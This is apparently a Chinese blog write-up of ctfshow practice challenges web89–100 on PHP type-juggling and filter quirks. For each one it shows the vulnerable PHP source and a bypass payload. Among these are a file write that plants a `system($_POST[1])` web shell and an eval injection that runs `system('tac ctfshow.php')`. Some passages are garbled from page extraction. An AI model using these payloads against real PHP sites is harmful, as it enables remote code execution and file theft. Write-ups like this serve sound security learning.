ctfshow--web入门(web89-100)

ctfshow–web入门

PHP特性

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

ctfshow{13b33a64-88d1-4d10-8782-fabc6f5b1ba0}

?num[]=1

web90

intval( v a r , var, var,base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。 这里=表示类型和数值必须相等,我们可以使用4476的八进制或十六进制绕过检测。 paylod:num=010574或num=0x117c

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

web91

正则绕过
?cmd=1%0aphp

web92

web90的做法也可以做出来但是题目给了另一种做法intval()函数如果 b a s e 为 0 则 base为0则 base0var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

web93

<?php   /*  # -*- coding: utf-8 -*-  # @Author: h1xa  # @Date:   2020-09-16 11:25:09  # @Last Modified by:   h1xa  # @Last Modified time: 2020-09-18 16:46:19  # @link: https://ctfer.com   */   include("flag.php");  highlight_file(__FILE__);  if(isset($_GET['num'])){     $num = $_GET['num'];     if($num==="4476"){         die("no no no!");     }     if(preg_match("/[a-z]/i", $num)){         die("no no no!");     }     if(!strpos($num, "0")){         die("no no no!");     }     if(intval($num,0)===4476){         echo $flag;     }  }   

过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574

web94

 <?php   /*  # -*- coding: utf-8 -*-  # @Author: h1xa  # @Date:   2020-09-16 11:25:09  # @Last Modified by:   h1xa  # @Last Modified time: 2020-09-18 16:46:19  # @link: https://ctfer.com   */   include("flag.php");  highlight_file(__FILE__);  if(isset($_GET['num'])){     $num = $_GET['num'];     if($num==="4476"){         die("no no no!");     }     if(preg_match("/[a-z]/i", $num)){         die("no no no!");     }     if(!strpos($num, "0")){         die("no no no!");     }     if(intval($num,0)===4476){         echo $flag;     }  }  

要注意的是这一小段,如果num里不存在0就阻断,我们就要让他存在0

if(!strpos($num, "0")){         die("no no no!");     } 

传入4476.0就可

web95

这题

 <?php  
 include("flag.php"); 
 highlight_file(__FILE__);
  if(isset($_GET['num'])){ 
    $num = $_GET['num'];
       if($num==4476){
            die("no no no!");   } 
              if(preg_match("/[a-z]|\./i", $num)){ 
 die("no no no!!");   }
 if(!strpos($num, "0")){
 die("no no no!!!");   }   if(intval($num,0)===4476){
echo $flag;   } } 

三层绕过,第一步过num==4476,然后过字符,接着还得让掺入的值中有0,试了好多字符发现+,加号的url编码,空格都可以

playload:

?num=+0104574(8进制)
总结intval函数用法

在这里插入图片描述

web96

highlight_file(__FILE__); 
if(isset($_GET['u'])){ 
  if($_GET['u']=='flag.php'){ 
      die("no no no");   
      }
      else{
           highlight_file($_GET['u']);   }  } 

highlight_file()函数:将文本信息高亮显示,识别里面的关键字,然后加入css的一个样式,混合起来进行输出

要传入一个u弱类型比较与flag.php,要绕过,可以在前面加入一些,文件路径(var/www/html),绝对路径(./)

playload:

?u=/var/www/html/flag.php或者

?u=./flag

web97

include("flag.php"); 
highlight_file(__FILE__);
 if (isset($_POST['a']) and isset($_POST['b']))
  {
   if ($_POST['a'] != $_POST['b']) 
   if (md5($_POST['a']) === md5($_POST['b'])) 
   echo $flag; 
   else print 'Wrong.'; } 

数组绕过post传a[]=1&b[]=2即可

web98

include("flag.php"); 
$_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
 $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; 
 highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?> 

总结起来呢就是,如果 G E T 有值,就会转换为 _GET有值,就会转换为 GET有值,就会转换为__POST传入的值flag,接着进行下一步如果get的值为flag,就会将get传入的值改为cookie的值,下一步就是如果get传入的值是flag,就将sever传入的值flag给get

中间这两步没啥用,当然首先要给get传参一个值如?1=1,post传一个值flag=1;

在这里插入图片描述

这也不知道为啥,报错报出来flag了??????

考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码

<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9 10 11

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) 
{   array_push($allow, rand(1,$i)); } 
if(isset($_GET['n']) && in_array($_GET['n'], $allow))
{   file_put_contents($_GET['n'], $_POST['content']); } 
?> 
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} 
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

在这里插入图片描述

web100

highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); 
$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){   if(!preg_match("/\;/", $v2)){     if(preg_match("/\;/", $v3)){       
eval("$v2('ctfshow')$v3");    
 } 
   }   
   }  ?> 

这个题我们主要看 v 0 = i s n u m e r i c ( v0=is_numeric( v0=isnumeric(v1) and is_numeric( v 2 ) a n d i s n u m e r i c ( v2) and is_numeric( v2)andisnumeric(v3);

给v0赋值,is_number判断是否为数字或者字符串,若是则为true,否则为false

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 就是把is_numeric($v1)的返回值赋值给$v0,然后和后面的进行逻辑运算,并不会修改$v0的值.
值赋值给$v0,然后和后面的进行逻辑运算,并不会修改$v0的值.
and他是逻辑运算,逻辑运算的优先级没有算数运算等级高,优先进行赋值运算,所以v1的值先给v0

他必须是数字,后面就是v2不能有;v3必须有;

可以在v2和v3上下功夫

playload:

get ?v1=1&v2=eval ($_POST[s])?>%23&v3=;

post s=system(“tac ctfshow.php”);

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Q1ng_chuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值